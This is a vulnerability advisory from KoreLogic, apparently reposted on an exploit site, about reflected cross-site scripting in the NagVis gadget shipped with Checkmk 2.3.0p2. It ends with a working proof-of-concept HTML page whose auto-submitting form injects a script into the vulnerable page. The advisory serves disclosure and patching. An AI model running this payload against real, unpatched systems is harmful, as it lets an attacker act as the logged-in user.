## https://sploitus.com/exploit?id=PACKETSTORM:189008
KL-001-2025-001: Checkmk NagVis Reflected Cross-site Scripting
Title: Checkmk NagVis Reflected Cross-site Scripting
Advisory ID: KL-001-2025-001
Publication Date: 2025-02-04
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2025-001.txt
1. Vulnerability Details
Affected Vendor: Checkmk
Affected Product: Checkmk/NagVis
Affected Version: Checkmk 2.3.0p2, NagVis 1.9.40
Platform: GNU/Linux
CWE Classification: CWE-79: Improper Neutralization of Input
During Web Page Generation
('Cross-site Scripting')
CVE ID: CVE-2024-13722
2. Vulnerability Description
The "NagVis" component within Checkmk is vulnerable to reflected
cross-site scripting. An attacker can craft a malicious link
that will execute arbitrary JavaScript in the context of the
browser once clicked. The attack can be performed on both
authenticated and unauthenticated users.
3. Technical Description
Checkmk version 2.3.0.p2 ships with a component named
"NagVis", which is an addon for the network management
system "Nagios". When receiving an HTTP POST request for the
"userfiles/gadgets/std_table.php" file, the query and body
parameters contained within the request are processed by the
script. Specifically, the script accepts the "members" body
parameter, which is then parsed as a JSON object.
The "summary_state" property of the "members" JSON object is
reflected into the page response without validation. A POST
request containing a malicious "summary_state" value can inject
arbitrary JavaScript via the HTML "script" tag into the page
response. When rendered in a browser, the attacker controlled
JavaScript executes, enabling an attacker to perform actions
as the currently logged-in user.
The "members" JSON object must be supplied via a POST
body parameter, so exploitation of this issue relies
on a cross-origin HTTP request originating from an
attacker controlled web page. The malicious website
(e.g. https://attacker.com/foo.html) can contain an HTML
"form" tag with an "action" attribute pointing at the URL
for the "std_table.php" script. Additional JavaScript on the
attacker controlled page can automatically submit the form once
a user loads the page. The browser will send a POST request
cross-origin and redirect the browser to the HTTP response of
the POST request, thereby executing the malicious JavaScript
on the NagVis web page.
4. Mitigation and Remediation Recommendation
This issue has been remediated in Nagvis 1.9.42 and Checkmk
2.3.0p10, both release 2024-07-15.
5. Credit
This vulnerability was discovered by Jaggar Henry and Jim
Becher of KoreLogic, Inc.
6. Disclosure Timeline
2024-06-11 : KoreLogic reports vulnerability details to Checkmk
Security Team.
2024-06-12 : Checkmk acknowledges receipt.
2024-06-21 : Checkmk requests an extension of embargo to
90 business days.
2024-07-15 : Checkmk/NagVis release versions featuring
remediation for the reported vulnerability.
Checkmk neglects to inform KoreLogic of this event.
2024-11-22 : KoreLogic requests an update from Checkmk but
receives no reply.
2025-02-04 : KoreLogic public disclosure.
7. Proof of Concept
1) Serve the following HTML from a web server (e.g. python -m http.server)
2) View the URL serving the file in a web browser:
<html>
<form method='POST'
action='http://checkmkhost/cmk/nagvis/userfiles/gadgets/std_table.php?object_id=1337&scale=100&opts=show_service_states=foo;group_states=0;&type=dyngroup&object_types=host&state=FL'>
<input type='hidden' name='members'
value='[{"summary_in_downtime":1,"summary_state":"\"><script>eval(window.name)</script>"}]'>
</form>
<script>
window.onload = function() {
window.name = `prompt('KoreLogic')`;
document.forms[0].submit();
}
</script>
</html>
The contents of this advisory are copyright(c) 2025
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
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ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
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https://www.korelogic.com/about-korelogic.html
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https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy